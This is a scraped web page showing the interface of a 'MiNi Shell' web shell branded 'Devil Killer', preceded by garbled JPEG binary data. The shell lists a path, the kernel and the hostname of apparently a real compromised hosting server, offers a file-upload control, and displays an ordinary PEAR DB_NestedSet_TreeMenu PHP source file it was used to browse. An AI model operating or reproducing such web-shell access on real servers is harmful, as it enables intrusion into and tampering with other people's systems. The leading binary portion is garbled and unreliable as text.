JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.3.3/lib/php/DB/NestedSet/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.3.3/lib/php/DB/NestedSet/TreeMenu.php

<?php
// +----------------------------------------------------------------------+
// | PEAR :: DB_NestedSet_TreeMenu                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Jason Rust <jrust@rustyparts.com>                           |
// +----------------------------------------------------------------------+
// $Id: TreeMenu.php 204899 2006-01-10 08:41:13Z bate $
require_once 'HTML/TreeMenu.php';
// {{{ DB_NestedSet_TreeMenu:: class
/**
 * A helper class to translate the data from a nested set table into a HTML_TreeMenu object
 * so that it can be used to create a dynamic tree menu using the PEAR HTML_TreeMenu class.
 *
 * @see docs/TreeMenu_example.php
 * @author Jason Rust <jrust@rustyparts.com>
 * @package DB_NestedSet
 * @version $Revision: 204899 $
 * @access public
 */
// }}}
/**
 * DB_NestedSet_TreeMenu
 *
 * @package
 * @author daniel
 * @copyright Copyright (c) 2004
 * @version $Id: TreeMenu.php 204899 2006-01-10 08:41:13Z bate $
 * @access public
 **/
class DB_NestedSet_TreeMenu extends DB_NestedSet_Output {
    // {{{ properties
    /**
     *
     * @var array The current menu structure
     * @access private
     */
    var $_structTreeMenu = false;

    /**
     *
     * @var array Default field mappings
     * @access private
     */
    var $_paramDefaults = array('textField' => 'text',
        'linkField' => 'link',
        'iconField' => 'icon',
        'expandedIconField' => 'expandedIcon',
        'classField' => 'cssClass',
        'expandedField' => 'expanded',
        'linkTargetField' => 'linkTarget',
        'isDynamicField' => 'isDynamic',
        'ensureVisibleField' => 'ensureVisible'
        );
    // }}}
    // {{{ DB_NestedSet_TreeMenu
    /**
     * The constructor
     *
     * @param array $params The config parameters used for building the
     *                          tree.
     * @see _createFromStructure
     * @access public
     * @return void
     */
    function DB_NestedSet_TreeMenu($params) {
        $this->_structTreeMenu = & $this->_createFromStructure($params);
    }
    // }}}
    // {{{ _createFromStructure()
    /**
     * <pre>Creates a HTML_TreeMenu structure based off of the results
     * from getAllNodes() method of the DB_NestedSet class.
     * Note that these parameters may be added to the individual nodes
     * to control their behavior:
     * o 'ensureVisible' => (optional) Whether or not the field should be
     *                          forced as visible creating it such as 'icon'
     *                          or 'expandedIcon'
     * o 'events' => (optional) An array of any events to pass to the
     *                   node when creating it such as 'onclick' or
     *                   'onexpand'
     *
     * @param array $params The configuration parameters.  Available
     *                          params are:
     * o 'structure'            => [REQU] The result from $nestedSet->getAllNodes(true)
     * o 'textField'            => [REQU] The field in the table that has the text for node
     * o 'linkField'            => [REQU] The field in the table that has the link for the node
     * The following params are optional. Please refer to HTML_TreeMenu's manual.
     * The params are equal to the HTML_TreeMenu::Node properties without the 'Field' appended
     * o 'iconField'            => [OPT]
     * o 'expandedIconField'    => [OPT]
     * o 'classField'           => [OPT]
     * o 'expandedField'        => [OPT]
     * o 'linkTargetField'      => [OPT]
     * o 'isDynamicField'       => [OPT]
     * o 'ensureVisibleField'   => [OPT]
     * o 'options' => (optional) An array of any additional options to
     *                    pass to the node when it is created (i.e. icon,
     *                    class).  See HTML_TreeNode for the options)
     * </pre>
     * @access public
     * @return object A HTML_TreeMenu object
     */
    function & _createFromStructure($params) {
        // Basically we go through the array of nodes checking to see
        // if each node has children and if so recursing.  The reason this
        // works is because the data from getAllNodes() is ordered by level
        // so a root node will always be first, and sub children will always
        // be after them.
        if (!isset($params['treeMenu'])) {
            $treeMenu = & new HTML_TreeMenu();
        } else {
            $treeMenu = & $params['treeMenu'];
        }
        // always start at level 1
        if (!isset($params['currentLevel'])) {
            $params['currentLevel'] = 1;
        }
        // Set the default field mappings if not set in userland
        if (!isset($params['defaultsSet'])) {
            $this->_setParamDefaults($params);
        }
        // have to use a while loop here because foreach works on a copy of the array and
        // the child nodes are passed by reference during the recursion so that the parent
        // will know when they have been hit.
        reset($params['structure']);
        while (list($key, $node) = each($params['structure'])) {
            // see if we've already been here before
            if (isset($node['hit'])) {
                continue;
            }
            // mark that we've hit this node
            $params['structure'][$key]['hit'] = $node['hit'] = true;

            $tag = array('text' => $node[$params['textField']],
                'link' => $node[$params['linkField']],
                'icon' => isset($node[$params['iconField']]) ? $node[$params['iconField']] : false,
                'expandedIcon' => isset($node[$params['expandedIconField']]) ? $node[$params['expandedIconField']] : false,
                'cssClass' => isset($node[$params['classField']]) ? $node[$params['classField']] : false,
                'expanded' => isset($node[$params['expandedField']]) ? $node[$params['expandedField']] : false,
                'linkTarget' => isset($node[$params['linkTargetField']]) ? $node[$params['linkTargetField']] : false,
                'isDynamic' => isset($node[$params['isDynamicField']]) ? $node[$params['isDynamicField']] : true,
                'ensureVisible' => isset($node[$params['ensureVisibleField']]) ? $node[$params['ensureVisibleField']] : false);

            $options = isset($params['options']) ? array_merge($params['options'], $tag) : $tag;
            
            foreach ($params['options'] as $key => $value) {
            	if ($options[$key] === false) {
            		$options[$key] = $value;
            	}
            }

            $events = isset($node['events']) ? $node['events'] : array();
            $parentNode = & $treeMenu->addItem(new HTML_TreeNode($options, $events));
            // see if it has children
            if (($node['r'] - 1) != $node['l']) {
                $children = array();
                // harvest all the children
                $tempStructure = $params['structure'];
                foreach ($tempStructure as $childKey => $childNode) {
                    if (!isset($childNode['hit']) && $childNode['l'] > $node['l'] && $childNode['r'] < $node['r'] && $childNode['rootid'] == $node['rootid']) {
                        // important that we assign it by reference here, so that when the child
                        // marks itself 'hit' the parent loops will know
                        $children[] = & $params['structure'][$childKey];
                    }
                }

                $recurseParams = $params;
                $recurseParams['structure'] = $children;
                $recurseParams['treeMenu'] = & $parentNode;
                $recurseParams['currentLevel']++;
                $this->_createFromStructure($recurseParams);
            }
        }

        return $treeMenu;
    }
    // }}}
    // {{{ printTree()
    /**
     * Print's the current tree using the output driver
     *
     * @access public
     */
    function printTree() {
        $options = $this->_getOptions('printTree');
        $tree = & new HTML_TreeMenu_DHTML($this->_structTreeMenu, $options);
        $tree->printMenu();
    }
    // }}}
    // {{{ printListbox()
    /**
     * Print's a listbox representing the current tree
     *
     * @access public
     */
    function printListbox() {
        $options = $this->_getOptions('printListbox');
        $listBox = & new HTML_TreeMenu_Listbox($this->_structTreeMenu, $options);
        $listBox->printMenu();
    }
    // }}}
    // {{{ tree_toHTML()
    /**
     * Returns the HTML for the DHTML-menu. This method can be
     * used instead of printMenu() to use the menu system
     * with a template system.
     *
     * @access public
     * @return string The HTML for the menu
     * @Author Emanuel Zueger
     */
    function tree_toHTML() {
        $options = $this->_getOptions('toHTML');
        $tree = & new HTML_TreeMenu_DHTML($this->_structTreeMenu, $options);
        return $tree->toHTML();
    }
    // }}}
    // {{{ listbox_toHTML()
    /**
     * Returns the HTML for the listbox. This method can be
     * used instead of printListbox() to use the menu system
     * with a template system.
     *
     * @access public
     * @return string The HTML for the listbox
     * @author Emanuel Zueger
     */
    function listbox_toHTML() {
        $options = $this->_getOptions('toHTML');
        $listBox = & new HTML_TreeMenu_Listbox($this->_structTreeMenu, $options);
        return $listBox->toHTML();
    }
    // }}}
    // {{{ _setParamDefaults()
    /**
     * DB_NestedSet_TreeMenu::_setParamDefaults()
     *
     * @param  $params Param array passed from userland
     * @return bool True on completion
     * @access private
     */
    function _setParamDefaults(& $params) {
        $defaults = $this->_paramDefaults;
        foreach($defaults AS $fieldName => $fieldAlias) {
            if (!isset($params[$fieldName])) {
                $params[$fieldName] = $fieldAlias;
            }
        }
        $params['defaultsSet'] = true;
        return true;
    }
    // }}}
}

?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com